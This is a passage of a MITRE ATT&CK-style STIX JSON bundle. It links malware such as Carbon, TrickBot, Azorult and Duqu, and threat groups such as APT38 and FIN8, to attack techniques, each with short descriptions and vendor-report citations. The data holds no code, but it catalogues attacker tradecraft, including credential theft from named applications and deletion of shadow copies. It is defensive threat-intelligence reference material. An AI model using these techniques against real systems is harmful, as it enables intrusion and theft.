                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) establishes persistence by creating a service and naming it based off the operating system version running on the current machine.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--677e0d3e-4a61-490d-a49d-f392cc3432d1",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-12T14:43:22.668Z",
            "created": "2019-01-29T19:36:02.740Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) encrypts commands from the C2 server using a hardcoded key.(Citation: Kaspersky Turla)",
            "id": "relationship--bcc48bba-95a6-465b-ad37-90e2faee5707",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:49:30.101Z",
            "created": "2019-01-29T19:55:48.154Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) can search for anti-virus software running on the system.(Citation: Unit 42 Tropic Trooper Nov 2016)",
            "id": "relationship--cdefab78-5d90-4e89-8664-5bbd30ab1517",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-05-29T03:23:28.079Z",
            "created": "2019-01-29T20:17:49.232Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim\u2019s machine.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--559dfd54-de33-4cfc-aeec-617cd545e870",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.370Z",
            "created": "2019-01-29T21:27:25.298Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) can launch a remote command shell interface for executing commands.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--543fe202-892b-4282-b691-090029b56b1f",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T16:59:44.617Z",
            "created": "2019-01-29T21:40:37.806Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) can capture screenshots of the victims\u2019 machine.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--f590ef19-3b83-459d-993c-a599407b7ca0",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-17T02:00:35.705Z",
            "created": "2019-01-30T13:24:09.054Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) enumerates all Windows services.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--7c58aab0-77cf-469e-836e-2b8c031afd1e",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-04-17T22:22:22.015Z",
            "created": "2019-01-30T13:53:14.850Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                },
                {
                    "source_name": "TrendMicro Trickbot Feb 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/",
                    "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP.(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019) Additionally, it searches for the \".vnc.lnk\" affix to steal VNC credentials.(Citation: TrendMicro Trickbot Feb 2019)",
            "id": "relationship--5b2f0fb3-5877-4fa2-bed1-1962423caccd",
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2020-09-11T13:27:44.572Z",
            "created": "2019-01-30T14:11:44.244Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                },
                {
                    "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside",
                    "source_name": "Proofpoint Azorult July 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can encrypt C2 traffic using XOR.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)",
            "id": "relationship--14568d94-858d-4b8a-af94-88cd17f6ab10",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:01:41.863Z",
            "created": "2019-01-30T15:19:14.963Z"
        },
        {
            "id": "relationship--204159d6-7f4a-4e0f-b492-974a776af423",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used PowerShell scripts for execution.(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "Symantec Dragonfly Sept 2017",
                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.619Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c5a0e330-ec5a-49cc-95b8-b7a5c49bd500",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) connects to a predefined domain on port 443 to exfil gathered information.(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.698Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6a58662b-4eb1-4172-b387-13e9b574368a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [DustySky](https://attack.mitre.org/software/S0062) dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016."
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-05-14T15:14:33.565Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c39e878e-a496-4271-9998-2d5c9511e0a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to download and execute additional files.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.260Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e4f09baa-2eae-445f-b000-5de3db07ad34",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) uploads files from a specified directory to the C2 server.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.800Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e039e3d4-2e3d-4e6e-902e-5e1834abe8e4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1218/010) to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2021-02-09T15:04:49.224Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a48e7d01-012a-4336-9676-0f34e8501e22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used RDP to move laterally to systems in the victim environment.(Citation: FireEye FIN10 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                }
            ],
            "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-04-25T12:09:56.320Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used pass the hash.(Citation: Mandiant APT1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.335Z",
            "created": "2017-05-31T21:33:27.035Z"
        },
        {
            "id": "relationship--172a8a26-d2c9-4d29-b050-55949c0186dd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T16:41:06.909Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--91c5d713-a89c-49fa-92eb-abaf18fae988",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>New-UserPersistenceOption</code> Persistence argument can be used to establish via a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:37:30.427Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the Address Resolution Protocol (ARP) table from the victim.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.580Z",
            "created": "2017-05-31T21:33:27.073Z"
        },
        {
            "id": "relationship--b8f1354c-9cff-40ef-aa47-591952c735c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.055Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5027a119-ff43-4ca6-a862-3efe39b29b3e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) monitors USB devices and copies files with certain extensions to\na predefined directory.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.519Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cd001a55-ed41-4109-9090-41bebed9113a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1059/001). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1059/001) during [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and [Credential Access](https://attack.mitre.org/tactics/TA0006).(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2021-02-09T13:54:32.768Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--2244e21e-b7f6-476f-8f58-67db772f9736",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [CALENDAR](https://attack.mitre.org/software/S0025) malware communicates through the use of events in Google Calendar.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:05:26.726Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) disable recovery options and deletes shadow copies from the victim.(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "type": "relationship",
            "modified": "2019-04-29T18:23:16.022Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "type": "relationship",
            "modified": "2020-03-20T21:53:54.954Z",
